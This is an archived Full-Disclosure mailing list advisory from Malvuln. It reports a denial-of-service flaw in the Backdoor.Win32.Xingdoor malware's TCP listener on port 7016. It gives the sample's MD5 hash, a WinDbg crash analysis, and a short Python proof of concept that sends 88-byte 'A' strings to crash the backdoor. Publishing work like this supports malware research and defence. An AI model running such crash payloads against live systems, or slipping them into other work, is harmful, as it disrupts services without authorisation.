lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 7 Apr 2022 00:14:01 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Xingdoor / Denial of Service

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/89000e259ffbd107b7cc9bac66dcdcf5.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Xingdoor
Vulnerability: Denial of Service
Description: The malware "System_XingCheng" listens on TCP port 7016.
Attackers who can send a specially crafted packet, can trigger an int 3
"\xcc" breakpoint debug error causing a disruption in service. The error is
a MS Visual C++ Debug Error, occurs when the value of ESP is not properly
saved across a function call.
Family: Xingdoor
Type: PE32
MD5: 89000e259ffbd107b7cc9bac66dcdcf5
Vuln ID: MVID-2022-0542
Disclosure: 04/06/2022

Memory Dump:
This dump file has a breakpoint exception stored in it.
The stored exception information can be accessed via .ecxr.
eax=00000000 ebx=00000000 ecx=b30fec4c edx=00000001 esi=00000003
edi=00000003
eip=76feed3c esp=0019f53c ebp=0019f6cc iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
76feed3c c21400          ret     14h

0:000> .ecxr
eax=00000001 ebx=00384000 ecx=b30fec4c edx=00000001 esi=004027f0
edi=0019fef0
eip=004027de esp=0019fe64 ebp=0019fe78 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000246
*** WARNING: Unable to verify checksum for
Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x27de:
004027de cc              int     3

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de
004027de cc              int     3

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 004027de
(Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x000027de)
   ExceptionCode: 80000003 (Break instruction exception)
  ExceptionFlags: 00000000
NumberParameters: 1
   Parameter[0]: 00000000

DEFAULT_BUCKET_ID:  STATUS_BREAKPOINT

PROCESS_NAME:  Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe

ERROR_CODE: (NTSTATUS) 0x80000003 - {EXCEPTION}  Breakpoint  A breakpoint
has been reached.

EXCEPTION_CODE: (HRESULT) 0x80000003 (2147483651) - One or more arguments
are invalid

EXCEPTION_PARAMETER1:  00000000

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00001928

PRIMARY_PROBLEM_CLASS:  STATUS_BREAKPOINT

BUGCHECK_STR:  APPLICATION_FAULT_STATUS_BREAKPOINT

LAST_CONTROL_TRANSFER:  from 00401596 to 004027de

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
0019fe78 00401596 0019fe25 0040112f 004027f0
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x27de
0019fe80 0040112f 004027f0 004027f0 00384000
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x1596
0019fef0 00402903 00400000 00000000 02783767
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x112f
0019ff80 76698654 00384000 76698630 fa8d215c
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x2903
0019ff94 76fe4a77 00384000 b30fa868 00000000
kernel32!BaseThreadInitThunk+0x24
0019ffdc 76fe4a47 ffffffff 77009ea7 00000000 ntdll!__RtlUserThreadStart+0x2f
0019ffec 00000000 004027f0 00384000 00000000 ntdll!_RtlUserThreadStart+0x1b


FOLLOWUP_IP:
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de
004027de cc              int     3

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5

IMAGE_NAME:  Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  3f169e33

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt
ntdll!LdrpFailureData ; ~0s; .ecxr ; kb

FAILURE_BUCKET_ID:
 STATUS_BREAKPOINT_80000003_Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_STATUS_BREAKPOINT_Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=7016

def chk_res(s):
    res=""
    while True:
        res += s.recv(512)
        break
        if "\0" in res or "\n" in res or res == "":
            break
    return res

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    print(chk_res(s))
    time.sleep(1)
    s.send("a")
    print(chk_res(s))
    s.send("\r\n"+"A"*88+"\r\n")
    time.sleep(1)
    print(chk_res(s))
    time.sleep(1)
    s.send("A"*88+"\n")
    print(chk_res(s))

    s.close()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists